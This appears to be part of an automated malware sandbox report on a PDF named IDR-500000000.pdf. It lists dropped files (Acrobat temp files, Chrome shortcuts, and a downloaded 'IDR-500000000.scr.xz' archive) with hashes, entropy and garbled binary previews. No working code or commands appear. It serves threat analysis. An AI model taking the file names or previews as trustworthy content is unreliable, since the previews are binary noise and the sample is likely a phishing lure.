SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmrcb0ISCcbZ:8qnXopZ50reSR
MD5:	CB1276FE5A03DC05A328E8E1F89B0D1E
SHA1:	D564E90ABFC2D352EB8550BC617BF7451C07C5D7
SHA-256:	8FD6DFC5CCC467BEB79429C1884D12B2A2B9FCD5ACCCB319C68759D74780A63D
SHA-512:	8272351356CB27FE2E26DCE0F7F74A2686123E71F84CC5B6FE118265A80146722C1A893F0FA6C9489B9B4EE4F02CB8016FAAC16449171C84A1A0F5164E150485
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0c930d20-0dd2-4532-80b6-c12f998f3d90.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/gWL07okZwYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:4WLxkZwZG6GZn3mlind9i4ufFXpAXkru
MD5:	ACB1B27818CEB36D0750207A9585D1DE
SHA1:	6F8E0D68875083DD83681391CE1C8304D0CF8C29
SHA-256:	BAB1F04D2DB8ADF240CFE93D51DFDA5CABE1D1DA91DCC807D2ABD93E030926D6
SHA-512:	AFE11C5D4A50430BE73E2D82081C6C02DB93A8368999C9139863A5A2DD0780066E020A5D2FDC94612E808862C8FB0CF90CA92E7CEAAAFEB4C3EA59703229B4AA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4121e787-3fac-4ac6-8d97-06e59c1dc109.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZL4YIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	9F39E726C0EA0FB425C69A21F30C0EED
SHA1:	9B2B079D2F9A4F53A981F1518F11D4BEB50FABC4
SHA-256:	52F1F422A8A01FD89E8EB051F2EED7015C66DD3EBAB64F72C3A0AAD781E95748
SHA-512:	5BAF313AE82677BA101CE70092B1CDDBD679C9A04614087E5CE091246A30A7AD235E20F3809E4B7FB1BC608DC2C42781BB9BD03D5837D9DC16EBBC5CD6D725D8
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\46b67ee9-efa4-45d8-8f31-887c7b648871.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\60873e04-495f-46f3-9e78-4761e2343632.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Sep 6 06:54:08 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.978584130449546
Encrypted:	false
SSDEEP:	48:8Z9dHTAaHeidAKZdA1P4ehwiZUklqehgy+3:89MvO/y
MD5:	0EAD480933A51159091F78CFD47E7103
SHA1:	50772C23EFD1944EE83FC2BD18DD42D21F100751
SHA-256:	C974FB8E650A872B02DEAF9F56707C066BF444261872A1150866D26C5CEDACAA
SHA-512:	69D7321B318A1CE6AAA2665A7482A24C07D0F94575784992549AEBBDF024516E1F52B2915A90D46531211274BF939D7CB317F7E17DA867BA5C29BE7DA00988BD
Malicious:	false
Preview:	L..................F.@.. ...$+.,........1.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I&Y.>....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V&Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V&Y.>....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V&Y.>.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V&Y.>...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i........... .l......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Sep 6 06:54:08 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.994811795582665
Encrypted:	false
SSDEEP:	48:8sN9dHTAaHeidAKZdA1+4eh/iZUkAQkqehvy+2:8sZMeF9QWy
MD5:	FFF128EE24705ABCFD0DA48491B4ABEB
SHA1:	DAD41F4B0FFC203311B258A8EB477FFA317659E1
SHA-256:	E1FA0DBA20A169EEDABF9DC3210944B71BD0997E8ACBDD4C8D2BAE9E26727356
SHA-512:	CA1885FC8153A54E31BDFD3DD326E7F601B98BDA10040B0C72D35D0CEAB7C6B83D30C83AA4A0F36FB0A99736D9BE7AF53EE2B51DF233535598B4845AF3F54186
Malicious:	false
Preview:	L..................F.@.. ...$+.,........1.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I&Y.>....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V&Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V&Y.>....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V&Y.>.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V&Y.>...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i........... .l......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:56:51 2023, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.006635958000923
Encrypted:	false
SSDEEP:	48:8V9dHTAVHeidAKZdA1404eh7sFiZUkmgqeh7sly+BX:8xMGInLy
MD5:	AF4F50563E83296280645A275A019013
SHA1:	6B3E4EEF503BBE3F6DBC5637833655757D3C1548
SHA-256:	FC7FABE2DEFAFB491148D0F1F3560C5AD42ED25CADDD03C5C3ADE2782C220DCE
SHA-512:	227FDAEE9DFE5F11860E517400C3CA3E80691B8DB13D0531C009402DF5F2A6B2A722F4598C553C5D239B0451B7A947F5F91B26C9F90C1279D470F31B0EF4738D
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....<}.i.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I&Y.>....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V&Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V&Y.>....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V&Y.>.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VEW.F...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i........... .l......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Sep 6 06:54:08 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.991567765820453
Encrypted:	false
SSDEEP:	48:8M9dHTAaHeidAKZdA1p4ehDiZUkwqehTy+R:8AMJ5Ny
MD5:	B1A1A63279923837CBD402B780E7C631
SHA1:	FCC0CEAF6D8620DC378310D8D2FE6B73FD010C1A
SHA-256:	3620CF7568B631473F4402C43B8A86DEB1400E99974AB51317C3C2C3B3648F45
SHA-512:	E994B6E147F9C00751DD662863F20D6B5EF4F2804F016A6BB4E163B0B70A2002192722D9F3FDBE5F2FEC05DC63B1E435F7F33739BF8F229C4C56DE6ADEF98E1B
Malicious:	false
Preview:	L..................F.@.. ...$+.,........1.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I&Y.>....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V&Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V&Y.>....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V&Y.>.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V&Y.>...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i........... .l......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Sep 6 06:54:08 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.980015008731886
Encrypted:	false
SSDEEP:	48:8e9dHTAaHeidAKZdA1X4ehBiZUk1W1qehBy+C:8eM3b9hy
MD5:	C35418198FE2500DE4462AC27202F4EF
SHA1:	1F16232A298DF70AF42C81C9AF2328031EF6ABC5
SHA-256:	6CAF0ACAE7F1957D21BA30005AF7A1F44296DFC0A6260A820DA8318AF42E0124
SHA-512:	713EB5E73C564116031102F83A47A0D7EC818F2D1D5BFFD27733FDD1E0CBBA098E71AC4439F6AB839E9801106C3C42E933FD4A3AD25DC3196974ADAA31001C8B
Malicious:	false
Preview:	L..................F.@.. ...$+.,....O...1.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I&Y.>....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V&Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V&Y.>....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V&Y.>.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V&Y.>...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i........... .l......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Sep 6 06:54:08 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9887367486596665
Encrypted:	false
SSDEEP:	48:8k9dHTAaHeidAKZdA1duTc4ehOuTbbiZUk5OjqehOuTbLy+yT+:8IMwTcJTbxWOvTbLy7T
MD5:	94FE33097CC870C10CADDC0832D613C7
SHA1:	EAC1816740C5DC14690EE3326D2BF4BC23A3A3B2
SHA-256:	60AE1C2A0AC59C500037310FC99ED1CD72CB64F4CAF17482CB8BB55C0F62780D
SHA-512:	C40B59A0D7B71B4B5D6085AA4F2AF1ED4E17E93E1628B32E2BA9372F69350EF4A22E978ACEF0321BC6E62EE47764D1BFF262C52667B33DC55D42C073DDF8FAED
Malicious:	false
Preview:	L..................F.@.. ...$+.,....n~..1.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I&Y.>....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V&Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V&Y.>....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V&Y.>.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V&Y.>...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i........... .l......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Downloads\IDR-500000000.scr.xz (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XZ compressed data, checksum CRC32
Category:	dropped
Size (bytes):	1327584
Entropy (8bit):	7.99987159653479
Encrypted:	true
SSDEEP:	24576:O5vlz2FB+t99s8H657jtNjTgMvOSDhBsGKWfBxZkJaLd1FeKU4i27+fh3k7/VSe:Op2BaNaVhNZW4hPb7EaLVZyZk7t
MD5:	25570231E0AFF080FB5B024A28222C3C
SHA1:	8E69355AC7D7138FB5E07CCFE5DC5C9B4C4FF99A
SHA-256:	D40EF0236512B096B2F06774466196FAA97A8B435D4E297945F4DF7330E69664
SHA-512:	113B850E2CD09F4190AA51EA8E0649081E497B8F800073AAA9EE44D5926D2A415718D86975FF7413470E7611CF0AA18C2DB27D24F13F129B0B7AEC31B1D3871D
Malicious:	false
Preview:	.7zXZ...i".6.......@!....6...!...].&..p......d.y..L.Gy..fX.........y.`M.7.F..`..z+.'.pe%.....)qm.v{.E.&#....+.'.).Gb.LC...#..Ao.~/..{&.k.Z6.R.0..[.i2._.c.....J#..G.1n.+..\.n...y....a.s}.pG;'....P8....d..@......[..^....A.P..]..N..".>.Bj.Q..+.G.g%y.:......H...&.X.....).Mx..GV.y9$R.]k.q..H................z7.....{.....H...W'.^&l..\,...2.B..q.....2.D.S....a...t".8.!i0..hc.....@...A.J.5F)4.+....Q....T.Yp.;...5..U.5..B..<...8.!.7....X.2.v.\|.....p&=.....tM..C.z...DN.".....FH?..f.g\|.D>.J..#..A.E."y.n!...l..2..-;.......st.>...~vEK........J.......8z...<...-q.U.B.....A..XA..-......HLk..{.]TV.......K........-.b0...%...-.sS...u...`.f....<..70...H.......r#...X^.............O.o..vDz+..@.$..cw..b.....9LA8......!z].[n.rwhz.....y.%5..[..Q...Gy.b.4a........v.....ea..e...9s.+y.{..)...w.#...X.#K][.6<U.....Z.n.N..q..89.......`..#.....B.=n.H.e......?v......=...^.....x.$...h.../k.{y.P....P]..y.,...v.-.@. .fi.;[..X..h.a.C.{r&...HR.......\|......,Y.n:`.....4

C:\Users\user\Downloads\IDR-500000000.scr.xz.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XZ compressed data, checksum CRC32
Category:	dropped
Size (bytes):	1327584
Entropy (8bit):	7.99987159653479
Encrypted:	true
SSDEEP:	24576:O5vlz2FB+t99s8H657jtNjTgMvOSDhBsGKWfBxZkJaLd1FeKU4i27+fh3k7/VSe:Op2BaNaVhNZW4hPb7EaLVZyZk7t
MD5:	25570231E0AFF080FB5B024A28222C3C
SHA1:	8E69355AC7D7138FB5E07CCFE5DC5C9B4C4FF99A
SHA-256:	D40EF0236512B096B2F06774466196FAA97A8B435D4E297945F4DF7330E69664
SHA-512:	113B850E2CD09F4190AA51EA8E0649081E497B8F800073AAA9EE44D5926D2A415718D86975FF7413470E7611CF0AA18C2DB27D24F13F129B0B7AEC31B1D3871D
Malicious:	false
Preview:	.7zXZ...i".6.......@!....6...!...].&..p......d.y..L.Gy..fX.........y.`M.7.F..`..z+.'.pe%.....)qm.v{.E.&#....+.'.).Gb.LC...#..Ao.~/..{&.k.Z6.R.0..[.i2._.c.....J#..G.1n.+..\.n...y....a.s}.pG;'....P8....d..@......[..^....A.P..]..N..".>.Bj.Q..+.G.g%y.:......H...&.X.....).Mx..GV.y9$R.]k.q..H................z7.....{.....H...W'.^&l..\,...2.B..q.....2.D.S....a...t".8.!i0..hc.....@...A.J.5F)4.+....Q....T.Yp.;...5..U.5..B..<...8.!.7....X.2.v.\|.....p&=.....tM..C.z...DN.".....FH?..f.g\|.D>.J..#..A.E."y.n!...l..2..-;.......st.>...~vEK........J.......8z...<...-q.U.B.....A..XA..-......HLk..{.]TV.......K........-.b0...%...-.sS...u...`.f....<..70...H.......r#...X^.............O.o..vDz+..@.$..cw..b.....9LA8......!z].[n.rwhz.....y.%5..[..Q...Gy.b.4a........v.....ea..e...9s.+y.{..)...w.#...X.#K][.6<U.....Z.n.N..q..89.......`..#.....B.=n.H.e......?v......=...^.....x.$...h.../k.{y.P....P]..y.,...v.-.@. .fi.;[..X..h.a.C.{r&...HR.......\|......,Y.n:`.....4

Static File Info

General

File type:	PDF document, version 1.7, 1 pages (zip deflate encoded)
Entropy (8bit):	7.974129277959889
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	IDR-500000000.pdf
File size:	68'648 bytes
MD5:	1e6049adf927614a5ea1d585ac10f8e6
SHA1:	bfe64a6bf0f2567e8c1d2211194ea16d5f8fab90
SHA256:	03775e62a1365c52d7c3df5ca2e76a213ed1b20a3b2312ea1a323edf93e496c6
SHA512:	03ebc12f94ed890ee9afdef9edaf9391ce1e0afc5a350a85889d9d7eb561e0d1594ba2771506e3a05c35542c8b7b24adefc7729cd3fdcf8fd15ebdb03e2d68c9
